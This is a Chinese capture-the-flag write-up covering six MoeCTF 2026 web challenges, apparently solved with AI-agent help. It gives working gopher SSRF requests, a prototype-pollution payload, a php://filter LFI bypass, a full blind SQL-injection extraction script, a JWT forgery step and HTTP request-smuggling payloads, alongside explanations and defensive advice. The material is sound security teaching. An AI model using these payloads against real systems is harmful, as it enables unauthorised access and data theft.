MoeCTF 2026 Web 安全与渗透测试 Writeup(下篇)

西电 CTF 终端 · MoeCTF 2026 新生赛 · Web 安全与渗透测试方向 · 下篇(共 6 题)
(使用agent协助做题)


1. 熊出没(100 分)

MoeCTF 2026 · Web 安全与渗透测试 · 100 分
题目:熊出没(两只小熊在狗粉岭找蜂蜜,发现许多蜜罐,但有些是猎人设的陷阱。蜂蜜在 54321 端口)

打开题目是一个「狗粉岭」网页,中间一个表单让你输入「蜜罐地址」,提交后服务器帮你去「看看是不是真的蜂蜜」。

题目首页

表单 POST /fetch,参数 url——服务器按你给的 URL 去抓内容,这明显是一个 SSRF(服务端请求伪造) 端点。SSRF 指攻击者让服务器代替自己去发起网络请求,从而访问攻击者本来访问不到的目标:普通用户只能从「外部」访问网站,但服务器往往在内网,能访问内网里不对外暴露的服务(数据库、缓存、内部 API)。如果网站有个「按用户给的 URL 去抓内容」的功能,就能传一个内网地址让它帮忙访问,再通过回显把结果带出来。

顺着提示「蜂蜜在 54321 端口」,先试 http://127.0.0.1:54321/,结果返回的是一堆随机出现的「陷阱」提示(🐝 愤怒的蜂群、🍯 陷阱蜜、🪤 假蜜罐、🐻 捕兽夹)。这正是**蜜罐(Honeypot)**的思路:故意布置看起来像真目标、实则用来迷惑攻击者的假服务或假数据。这里的随机陷阱文案说明服务器并没有真正用 HTTP 抓到 54321 的内容,而是把我们挡在了外面。

关键线索藏在报错里。提交一个不完整的 URL 时,/fetch 返回:

1
URL不合法!请输入完整的 URL 地址(需包含协议和主机,例如 gopher://host:port/...)

它明示了 gopher:// 协议——也就是说 54321 端口上的「蜂蜜保险库」是一个原始 TCP 服务,不是 HTTP 服务,用 http:// 连自然连不上、只能看到陷阱。这里涉及 SSRF 里一个经典武器:gopher 协议能向任意主机、任意端口发送任意构造的字节流,并且把后续内容作为「要发送的数据」。http:// 只能发 HTTP 格式的请求,遇到非 HTTP 的 TCP 服务(Redis、MySQL、或本题的自定义协议)就无能为力;gopher://host:port/_payload 则能把 _payload 之后的内容当作原始字节直接发过去。

先用 gopher 连一下根路径探底:

1
2
POST /fetch
url=gopher://127.0.0.1:54321/

返回:

1
2
Honey Vault
paths: /secret-honey

gopher 探出路径

它告诉我们 flag 藏在 /secret-honey 上。带路径再请求(注意 gopher 的 selector 要保留开头的斜杠,URL 里写成两个斜杠 //secret-honey):

1
2
POST /fetch
url=gopher://127.0.0.1:54321//secret-honey

返回:

1
moectf{9bbf74d3-9582-c6fd-efa8-1fe7dee46273}

拿到 flag

(本题需要先启动在线环境,再经平台 WSRX 隧道转发到容器。)

Flag: moectf{9bbf74d3-9582-c6fd-efa8-1fe7dee46273}

补充一点背景:SSRF 的常见目标还包括探测内网开放端口、读内网服务、访问云厂商元数据接口(http://169.254.169.254/ 泄露凭证)等。防护核心是对用户提供的目标地址做严格校验(协议、域名、IP 段)并限制服务器能访问的范围。


2. 合乎周礼(150 分)

MoeCTF 2026 · Web 安全与渗透测试 · 150 分
题目:合乎周礼(父亲管教儿子讲的是长幼有序、本分分明;JavaScript 里的父类也要让子类守好本分、不逾矩)

打开题目是一个 Node.js「配置中心」,首页直接列出所有接口:

1
2
3
4
GET  /api/help      查看接口说明
GET /api/me 查看当前配置
POST /api/profile 提交 JSON 配置
GET /api/flag 读取审核后的结果

题目首页

GET /api/help 给出关键信息——/api/flag 只有在 isAdmin=true 且 canReadFlag=true 时才返回 FLAG:

1
2
3
4
5
6
{
"name": "配置中心",
"routes": {
"GET /api/flag": "只有审核 isAdmin=true 且 canReadFlag=true 时返回 FLAG"
}
}

先看 GET /api/me,返回当前配置和一个 inheritedProbe 字段:

1
2
3
4
5
6
7
{
"profile": {
"profile": { "nickname": "guest" },
"theme": { "color": "blue" }
},
"inheritedProbe": { "isAdmin": null, "canReadFlag": null }
}

当前配置,inheritedProbe 均为 null

注意 inheritedProbe 里 isAdmin、canReadFlag 都是 null,而 /api/flag 报错里反复出现「继承属性」四个字:

1
2
3
4
5
{
"ok": false,
"message": "审核未通过:普通访客缺少 isAdmin=true 和 canReadFlag=true 的继承属性。",
"inheritedProbe": { "isAdmin": null, "canReadFlag": null }
}

这就要理解 JavaScript 的对象模型了。JS 的继承机制和 Java/C++ 不一样,是基于原型(prototype)的:每个对象都有一个内部指针指向它的「原型对象」,访问对象属性时,如果自身没有,就顺着这条原型链一路向上查找,直到找到或到达 null。所有普通对象最终都指向同一个原型 Object.prototype——这意味着往 Object.prototype 上添加一个属性,等于给所有对象都「继承」了这个属性。config.isAdmin 之所以是 null,就是 config 自身没有,顺着原型链从 Object.prototype 查到的(默认没有)。

于是思路清晰了:服务器读 config.isAdmin 和 config.canReadFlag,这俩属性不在配置对象自身身上、是从原型继承来的;只要往 Object.prototype 上注入 isAdmin=true 和 canReadFlag=true,审核自然通过。这就是原型链污染(Prototype Pollution):程序允许攻击者控制「给对象添加属性」的键名且不做过滤时,把键名设为 __proto__,就能把属性写到 Object.prototype 上、污染全局原型。

POST /api/profile 会把提交的 JSON 递归合并(Deep Merge) 进配置对象——即逐层合并,目标对象里没有的键就复制进去、值是对象则继续递归。它的危险性在于:如果合并时用 target[key] = source[key] 这种直接赋值,当 key 恰好是 __proto__ 时,target.__proto__ 会被当成普通属性赋值,结果污染原型。其中 __proto__ 是非标准但被广泛支持的原型访问器,指向对象的原型(对普通对象就是 Object.prototype),是污染攻击最常用的键名。

于是直接提交污染载荷:

1
2
3
4
POST /api/profile
Content-Type: application/json

{"__proto__":{"isAdmin":true,"canReadFlag":true}}

返回里 inheritedProbe 已经变成 true:

1
2
3
4
5
{
"ok": true,
"acceptedFields": 2,
"inheritedProbe": { "isAdmin": true, "canReadFlag": true }
}

再访问 GET /api/flag,直接拿到 flag:

1
{ "ok": true, "flag": "moectf{0n3_pr070type_chan9e_@|l_06j3c7$_o8ey}" }

原型污染后拿到 flag

Flag: moectf{0n3_pr070type_chan9e_@|l_06j3c7$_o8ey}

原型链污染是 Node.js / 前端 JS 应用里一类经典且危害极大的漏洞(任意属性注入、权限提升,配合特定库甚至能 RCE)。防护思路:合并时拒绝 __proto__、constructor、prototype 这些危险键,或用 Object.create(null) 创建无原型对象、用 Map 存键值。


3. 七狗免费小说(150 分)

MoeCTF 2026 · Web 安全与渗透测试 · 150 分
题目:七狗免费小说(「php:// 是什么?小刻不知道哦。CTFer 都会先打开 F12 看看,万一里面有宝物呢?」)

打开题目是一个小说网站「刻俄柏的小说」,页面上有三个章节链接:

1
2
3
?file=chap1.html   第一章
?file=chap2.html 第二章
?file=flag.php Flag 章

?file= 参数直接拼进文件路径,典型 PHP 文件包含。按提示先「F12 看看」——页面底部有个 display:none 的隐藏 div,里面用 highlight_file(__FILE__) 把 index.php 的完整源码打了出来。

题目首页

关键源码(就是隐藏 div 打印出来的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$file = $_GET['file'] ?? 'chap1.html';
if (preg_match('/http|https|env|\.\.|^\/|=\/|index|proc|input|data|convert|string|file/i', $file)) {
die("咬你哦!");
}
if ($file) {
ob_start();
include($file);
$output = ob_get_clean();
if (@preg_match('//u', $output)) {
echo $output; // 合法 UTF-8 → 直接输出
} else {
echo base64_encode($output); // 二进制流 → 自动 base64
}
}

隐藏的 index.php 源码

这就是典型的 LFI(本地文件包含)。PHP 里 include() 会把另一个文件的内容引入当前页面,当被包含的路径由用户控制、且没过滤时,攻击者就能让服务器包含并执行/输出本地任意文件。直接访问 ?file=flag.php 时,PHP 会把 flag.php 执行掉、只输出它 echo 的内容——真正的 flag 藏在 flag.php 源码的 $flag 变量里,不 echo 所以看不到。要读到 flag,得想办法拿到 flag.php 的源码而不是执行它。

读源码的经典手法是 php://filter 伪协议:php:// 是 PHP 的输入输出流封装协议族,其中 php://filter 能在读文件时先经过一系列过滤器处理再输出,格式 php://filter/<过滤器>/resource=<文件>。最常用的是 php://filter/convert.base64-encode/resource=flag.php——把 flag.php 的源码用 base64 编码后输出,因为 base64 后是文本、不会被执行,所以能绕过「include 会执行 PHP」的问题直接读到源码。

但本题黑名单 ban 了 convert、string、data 等关键字,convert.base64-encode 用不了。不过注意源码里还有一段巧妙的兜底逻辑:输出前用 preg_match('//u', $output) 判断是不是合法 UTF-8(/u 修饰符表示按 UTF-8 解析,字符串不是合法 UTF-8 时返回 false),是二进制流就自动帮你 base64。这其实又用到了 base64 的另一层作用——把二进制数据文本化:把「非 UTF-8 的二进制」转成纯文本。

所以思路变成:找一个没被 ban 的过滤器,让它产出「二进制」内容,逼程序自动 base64。黑名单里没 ban zlib.deflate,它对应 raw deflate 压缩(zlib 是通用压缩库,deflate 去掉了 zlib 头、只有 DEFLATE 数据),能把文件内容压缩成二进制流:

1
?file=php://filter/zlib.deflate/resource=flag.php

这个过滤器把 flag.php 源码压缩成二进制,恰好触发「非 UTF-8 自动 base64」,返回一段 base64:

filter 返回 base64

把返回的 base64 解压(PHP 的 zlib.deflate 是 raw deflate,Python 里要加 -zlib.MAX_WBITS):

1
2
3
import base64, zlib
raw = base64.b64decode("lZBBTsJA...") # 页面返回的 base64
print(zlib.decompress(raw, -zlib.MAX_WBITS).decode())

还原出 flag.php 源码:

1
2
3
4
<?php
$flag = "moectf{62ff56a8-03cf-0618-4129-33a3f9e36c46}";
echo "Flag 就在上面,只有聪明的人才能看见...";
?>

Flag: moectf{62ff56a8-03cf-0618-4129-33a3f9e36c46}

这题的启发是:即使 convert.base64-encode 被 ban,只要能让输出变成「非 UTF-8 的二进制」,仍可能触发程序里「自动 base64」的兜底逻辑。


4. 江洋大盗(200 分)

MoeCTF 2026 · Web 安全与渗透测试 · 200 分
题目:江洋大盗(「学院经历了上次事件,对数据库进行了全面升级,现在你还能拿到往年试题吗?」)

打开是「网信院往年试题检索系统」,只有一个序号查询框,输入序号(1~5)返回公开科目的登记人信息:

序号 登记人 公开科目
1 林舟 高等数学
2 周棠 大学英语
3 许青 计算机导论
4 陆遥 线性代数
5 沈知 网络安全基础

题目页面

提交表单 POST /、参数 id,直接拼接进 SQL,和上篇「河湖小盗」一样是数字型注入:

1
2
3
id=1 and 1=1   → 返回记录(真)
id=1 and 1=2 → "没有找到匹配记录"(假)
id=1 or 1=1 → 返回全部 5 条

注入点:and 1=2 返回无记录

用 ORDER BY 探测列数——ORDER BY n 表示按结果第 n 列排序,n 超过实际列数时报错。order by 3 正常、order by 4 报错,说明共 3 列。

但接下来尝试 union select 全部失败(大小写、双写、/**/、/*!*/、%0a、union all 均被拦截)。这是典型的黑名单防护——把已知危险关键字(union 等)列入禁止名单、命中就拦截。它的问题是「永远补不全」,常见绕过有大小写、双写(ununionion 删中间后又拼回)、注释/空白变形、换等价写法等。本题这些绕 union 的招都不灵,但子查询 (select ...) 可以正常执行:

1
2
id=1 and (select 1)=1   → 真
id=1 and (select 2)=1 → 假

子查询是嵌套在 SQL 里的 (SELECT ...),先执行内层得到一个结果、外层再用它。既然 union 被禁、子查询能用,就把「想探测的内容」放进子查询、外面套一个恒真判断,把子查询结果「翻译」成真/假。这条路通向布尔盲注。

先理解什么是盲注:盲注指页面不会直接回显数据库内容的 SQL 注入。和 UNION 注入能把数据直接「显示出来」不同,盲注场景下只能得到「有差异的两种结果」——比如「有记录 vs 没有记录」——然后通过反复试探一点点把数据猜出来。本题判据:真 → 页面含「高等数学」,假 → 页面含「没有找到匹配记录」。

先确认数据库类型:

1
2
id=1 and (select count(*) from information_schema.tables)>0   → 真
id=1 and (select version()) is not null → 真

是 MySQL,于是可以继续用 information_schema(MySQL 内置元数据库,存着库/表/列结构信息)当导航地图。

盲注要读出一个字符串,需要逐字符、逐位地猜,常用二分法:把目标字符看成 ASCII 码(0~127 的整数),每次判断 ascii(substr(flag, 位置, 1)) > 中间值 的真假来折半缩小范围,把「猜一个字符」的代价从最多 127 次降到约 7 次(log2(127)≈7)。

核心探测函数:

1
2
def blind(e):
return check('1 and (' + e + ')') # check 发送 POST id=...

逐字符二分 ASCII 提取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def extract(sub):
out = ''
for pos in range(1, 200):
if not blind(f'length(({sub}))>={pos}'):
break
lo, hi = 1, 127
while lo < hi: # 二分 ASCII
mid = (lo + hi) // 2
if blind(f'ascii(substr(({sub}),{pos},1))>{mid}'):
lo = mid + 1
else:
hi = mid
out += chr(lo)
return out

依次枚举库 → 表 → 列:

1
2
3
4
5
6
7
8
库名:database() = past_paper

information_schema.tables 表名:
flag_table
past_paper
public_subject

flag_table 列:id, flag

flag 就在 flag_table.flag 里,盲注提取 (select flag from flag_table limit 0,1):

盲注提取 flag

Flag: moectf{C0ngr@+u1@7|0ns_8u+_+h3re_wou1d_not_6e_any_pas7_3x@m_pap3r_in_f4ct}

完整脚本 E:/claude/blind_jiang.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

URL = 'http://127.0.0.1:8080/'
TRUE_NEEDLE = '高等数学'

def check(idval):
r = requests.post(URL, data={'id': idval}, timeout=20)
return TRUE_NEEDLE in r.text

def blind(cond):
return check(f"1 and ({cond})")

def extract(sub, maxlen=200):
out = ''
for pos in range(1, maxlen+1):
if not blind(f"length(({sub}))>={pos}"):
break
lo, hi = 1, 127
while lo < hi:
mid = (lo+hi)//2
if blind(f"ascii(substr(({sub}),{pos},1))>{mid}"):
lo = mid+1
else:
hi = mid
out += chr(lo)
return out

print(extract("select flag from flag_table limit 0,1"))

小结:数字型注入点,union 被黑名单拦截,改用 (select ...) 子查询做布尔盲注;通过 information_schema 依次枚举库名、表名、列名,最终在 flag_table 拿到 flag。盲注的本质是「构造一个返回真假的子查询」,二分 ASCII 逐字符还原。


5. 我爱发明(200 分)

MoeCTF 2026 · Web 安全与渗透测试 · 200 分
题目:我爱发明(「人工组与机械组的发明擂台,完成三轮擂台验收即可看到最终口令」)

打开是一个「我爱发明」发明擂台网站,左侧三个关卡导航,右侧「机械组倒计时」面板:

  1. 火眼金睛挑零件 —— 把三个零件编号抄进记录表
  2. 老师傅调样机 —— 把仪表读数抄进调试记录
  3. 千台样机大验收 —— 288 份档案,找「盖章通过的机械组验收片段」算最终口令

题目首页

前两关答案直接写在页面上,纯属送分过场:

  • 第一关零件编号:B-17 S-09 T-04
  • 第二关调试记录:860/73/III/2.4

真正的考点在第三关:288 份档案、每页 12 份,机械组计时不会因翻页或刷新而重置——暗示这是一个有时间窗口的竞速题。

先过前两关:

1
2
3
4
5
6
7
curl -X POST -H "Content-Type: application/json" \
-d '{"parts":"B-17 S-09 T-04"}' http://127.0.0.1:8080/api/stage1
# {"ok": true, "message": "人工组完成装配,机械组仍在倒计时。"}

curl -X POST -H "Content-Type: application/json" \
-d '{"tuning":"860/73/III/2.4"}' http://127.0.0.1:8080/api/stage2
# {"ok": true, "message": "人工组调试成功,可以进入最终验收。"}

访问第三关时,响应头里多了一个 cookie:

1
2
3
GET /stage/3
...
Set-Cookie: race=2ocEpEO-UhsXq2rJtOiNbaSn; Path=/; SameSite=Lax; Max-Age=20

这里要理解一下 Cookie 与会话机制。HTTP 本身是「无状态」的,服务器默认记不住上一个请求是谁发的;为了维持登录态、区分用户,就有了 Cookie/会话:服务器通过响应头 Set-Cookie 让浏览器保存一小段数据,浏览器之后每次请求自动带回来(放在 Cookie 头),服务器据此识别用户。Set-Cookie 里常见属性:Max-Age/Expires 是有效期(Max-Age=20 表示 20 秒后过期)、Path 作用路径、HttpOnly 禁止 JS 读、SameSite 限制跨站。

这个 race cookie 就是「机械组验收」的竞速凭证,有效期只有 20 秒。不带它读档案库直接 403:

1
GET /archive?page=1   →  403  "本轮验收尚未开始或已经结束,请回到第三关。"

这题最容易踩的坑就在这里:很多工具(curl 默认、手写 fetch)不会自动持久化 cookie,导致一直卡在 403。

带上 race cookie 读 /invent/<id>,每份档案详情页有这些字段:

1
2
3
4
5
6
<div class="panel paper inspection-sheet" data-team="机械组" data-status="通过">
<tr><th>所属组别</th><td>机械组</td></tr>
<tr><th>验收状态</th><td class="verdict-ok">通过</td></tr>
...
<p>验收片段:<code class="inspection-code" data-code="KINLR5D7">KINLR5D7</code></p>
</div>

机械组「通过」档案的验收片段

三个关键点:

  1. data-team —— 所属组别,按 id % 3 固定循环:1→人工组、2→观众组、0→机械组,所以机械组是 id 为 3 的倍数的 96 份。
  2. data-status —— 验收状态,机械组里有 通过(盖章通过)和 返工 两种。
  3. data-code —— 只有「机械组 + 通过」的档案才有 8 位验收片段码,其余都是 未盖章。

实测「通过」的机械组档案恰好是 id 为 6 的倍数(共 48 份),它们的 data-code 才是我们要的片段。

规则是:把所有「盖章通过」的机械组片段按档案顺序用 | 连接,算 SHA-256 提交。SHA-256 是一种哈希函数,把任意长度输入映射成固定 256 位(64 个十六进制字符)的摘要,单向、抗碰撞,常用来做「口令校验」——服务端只存哈希、校验时把用户输入哈希后比对。这里「不直接提交原文、而是提交哈希」的设计,常见于防止没收集全片段就乱猜。

完整脚本 E:/claude/solve_1375.js(注意 finalize 也要带 race cookie):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const crypto = require('crypto');
const BASE = 'http://127.0.0.1:8080';
let raceCookie = '';

function extractCookie(res) {
const sc = res.headers.get('set-cookie');
if (sc) { const m = sc.match(/race=([^;]+)/); if (m) raceCookie = 'race=' + m[1]; }
}
async function post(url, body) {
const headers = { 'Content-Type': 'application/json' };
if (raceCookie) headers['Cookie'] = raceCookie; // finalize 也要带 cookie
const res = await fetch(BASE + url, { method: 'POST', headers, body: JSON.stringify(body) });
extractCookie(res); return res.text();
}
async function get(url) {
const headers = raceCookie ? { 'Cookie': raceCookie } : {};
const res = await fetch(BASE + url, { headers });
extractCookie(res); return res.text();
}

async function main() {
await post('/api/stage1', { parts: 'B-17 S-09 T-04' });
await post('/api/stage2', { tuning: '860/73/III/2.4' });
await get('/stage/3'); // 拿到 race cookie,20 秒窗口开始

const results = new Array(289);
let cursor = 0, CONC = 60;
async function worker() {
while (true) {
const id = cursor++; // id 从 1 到 288
if (id > 288) return;
const html = await get('/invent/' + id);
results[id] = {
team: (html.match(/data-team="([^"]*)"/) || [])[1],
status: (html.match(/data-status="([^"]*)"/) || [])[1],
code: (html.match(/data-code="([^"]*)"/) || [])[1],
};
}
}
await Promise.all(Array.from({ length: CONC }, worker)); // 并发读 288 份

const codes = [];
for (let i = 1; i <= 288; i++)
if (results[i].team === '机械组' && results[i].status === '通过' && results[i].code)
codes.push(results[i].code);

const sha = crypto.createHash('sha256').update(codes.join('|')).digest('hex');
console.log(await post('/api/finalize', { answer: sha }));
}

main();

运行结果:

1
2
3
4
5
stage1: {"ok": true, "message": "人工组完成装配,机械组仍在倒计时。"}
stage2: {"ok": true, "message": "人工组调试成功,可以进入最终验收。"}
stamped machine count: 48
sha256: 618530464a2740799e11388655c1589ee51dcae31d489181d9d90cb108002b9b
finalize: {"ok": true, "flag": "moectf{Comput3rs_@r3_m@gn!fic3nt_+00l}"}

提交得到 flag

Flag: moectf{Comput3rs_@r3_m@gn!fic3nt_+00l}

小结:前两关是固定答案的过场题,真正考点在第三关的 20 秒竞速窗口。这类「时间窗口 / 限时任务」的设计意图是考察自动化能力(288 份档案 20 秒读完必须高并发)和会话有效期意识(cookie 会过期、finalize 也要带未过期的 cookie)。「竞速」题的思路统一是:先把能确定的规则摸清(机械组 id % 3 == 0、通过 id % 6 == 0),再用脚本在窗口内一次性自动化完成,而不是靠手速。


6. 黑市走私(250 分)

MoeCTF 2026 · Web · 250 分

「BLACK FLAG MARKET」黑市,flag 是禁售品,直接买会被「巡逻队」逮捕。页面给出四条路:
题目页面

  • /stage1 黑商1 → 目标货物 /flag1
  • /stage2 黑商2 → 目标货物 /flag2
  • /flag1、/flag2 → 直接访问返回 403「禁售品巡逻队已抵达,你已因尝试获取 flag 被逮捕」

/hint 引路人给出一个 JWT,并提示密钥是常见词、要把 role 改成 admin、scope 改成 flags。

第一步:伪造 JWT

题目页面

先认识 JWT(JSON Web Token)——一种紧凑、自包含的令牌格式,常用于身份认证,由三段用 . 连接、各自 base64 编码:header.payload.signature。header 描述算法(如 {"alg":"HS256"}),payload 存放声明(如 {"role":"admin"}),signature 是签名、防止内容被篡改。注意 JWT 本身不加密,payload 只是 base64 编码,任何人解码就能看到内容;它的安全性依赖签名验证。

/hint 里的普通入场券:

1
2
header:  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
payload: eyJzdWIiOiJ0cmF2ZWxlciIsInJvbGUiOiJndWVzdCIsInNjb3BlIjoicmVhZCJ9

payload 解出来是 {"sub":"traveler","role":"guest","scope":"read"}。

JWT 的 HS256 算法就是 HMAC-SHA256:HMAC 是「带密钥的哈希」HMAC(key, message),用密钥把消息哈希一遍,能同时提供完整性和认证(只有持密钥者才能算出正确签名);HMAC-SHA256 就是用 SHA-256 做底层哈希。签名 = HMAC-SHA256(密钥, header.payload)。如果密钥太弱,攻击者就能拿候选词逐个算签名、和已知签名比对,命中即拿到密钥,之后任意伪造 token。

密钥候选:MoeCTF / xdu / xidian / xdsec / L / welcome / happy / fish,逐个比对,命中 fish。伪造高级买家票据:

1
2
import jwt
t = jwt.encode({'sub':'traveler','role':'admin','scope':'flags'}, 'fish', algorithm='HS256')

得到:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0cmF2ZWxlciIsInJvbGUiOiJhZG1pbiIsInNjb3BlIjoiZmxhZ3MifQ.EQmuoZNLf5aUF-WJ1MdjUFZJgPilOkgJRjXawdvIooI

但带着它直接访问 /flag1 还是 403——因为前端代理把路径里的 flag 关键词拦了,必须用 HTTP 请求走私 把请求藏进 body 里绕过前端。

第二步:CL.TE 走私拿 /flag1

请求走私发生在「多级 HTTP 架构」里:请求先经过一个前端代理/负载均衡,再由它转发给后端服务器。根源是 HTTP 请求的「结束边界」有两种互相冲突的表示方式:

  • Content-Length(CL):直接用数字标明 body 字节长度;
  • Transfer-Encoding: chunked(TE):body 切成若干「分块」,每块前标一个十六进制块长度,最后以 0\r\n\r\n 结束,适合长度未知的流式传输。

当请求同时带这两个头时,不同实现会「优先相信谁」产生分歧——这就是走私的根源。如果前后端对边界理解不一致,后端可能把「一个请求」误判成「两个」:攻击者把第二个请求藏在第一个请求的 body 里,前端按 A 方式把整段转发、后端按 B 方式解析,就会把 body 里藏着的「走私请求」当成新的独立请求执行,从而绕过前端过滤。
题目页面

黑商1 的暗号「先让柜台只看货箱长度,再让后仓按分块清点」→ 前端(柜台)用 CL、后端(后仓)用 TE,即 CL.TE(前.后 表示各自采用的解析方式)。

构造:一个 POST /stage1,同时带 Content-Length 和 Transfer-Encoding: chunked,body 里先写 0\r\n\r\n(chunked 结束),再塞进一段完整的 GET /flag1 请求。前端按 CL 把整段 body 原样转发;后端按 TE 解析,0 之后的内容被当成新的一个请求,直接处理 GET /flag1 并带上高级票据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
smuggled = (
f"GET /flag1 HTTP/1.1\r\n"
f"Host: 127.0.0.1:8080\r\n"
f"Authorization: Bearer {jwt}\r\n"
f"Connection: close\r\n\r\n"
)
body = "0\r\n\r\n" + smuggled
req = (
f"POST /stage1 HTTP/1.1\r\n"
f"Host: 127.0.0.1:8080\r\n"
f"Content-Length: {len(body.encode())}\r\n"
f"Transfer-Encoding: chunked\r\n\r\n"
f"{body}"
)

响应里走私出:

1
flag1: moectf{Y0u_have_m4r

第三步:TE 头混淆走私拿 /flag2

题目页面

黑商2 的暗号「冒号前多了一粒灰」「Transfer-Encoding 后的空隙」→ 在冒号前加一个空格,把请求头写成 Transfer-Encoding : chunked(: 前有空格)。这是请求头混淆(Header Obfuscation):HTTP 规范对头格式的宽容度,让前后端解析器常有差异——前端读到带空格的伪头,认不出这是 TE、退回用 CL;后端容忍空格、照常按 TE chunked 解析。本质还是 CL.TE,只是靠混淆让前端「看不见」TE。

同样的 payload,把目标换成 /flag2,并把 TE 头改成 Transfer-Encoding : chunked:

1
2
3
4
5
6
7
req = (
f"POST /stage2 HTTP/1.1\r\n"
f"Host: 127.0.0.1:8080\r\n"
f"Content-Length: {len(body.encode())}\r\n"
f"Transfer-Encoding : chunked\r\n\r\n" # 冒号前空格
f"{body}"
)

响应里走私出:

1
flag2: 3d_http_5mu6g1!n6}

flag

两半拼接:

1
moectf{Y0u_have_m4r3d_http_5mu6g1!n6}

(读作 You have mastered http smuggling!)

Flag: moectf{Y0u_have_m4r3d_http_5mu6g1!n6}

小结:JWT 密钥 fish 可从提示候选词逐个比对签名得出,伪造 role=admin, scope=flags;前端代理拦 flag 关键词 → 用 HTTP 请求走私绕过;/flag1 用标准 CL.TE、/flag2 用 TE 头混淆(Transfer-Encoding : chunked 冒号前加空格)。走私的关键始终是:前后端对请求体边界理解不一致,导致后端把 body 里藏着的请求当成新的独立请求执行。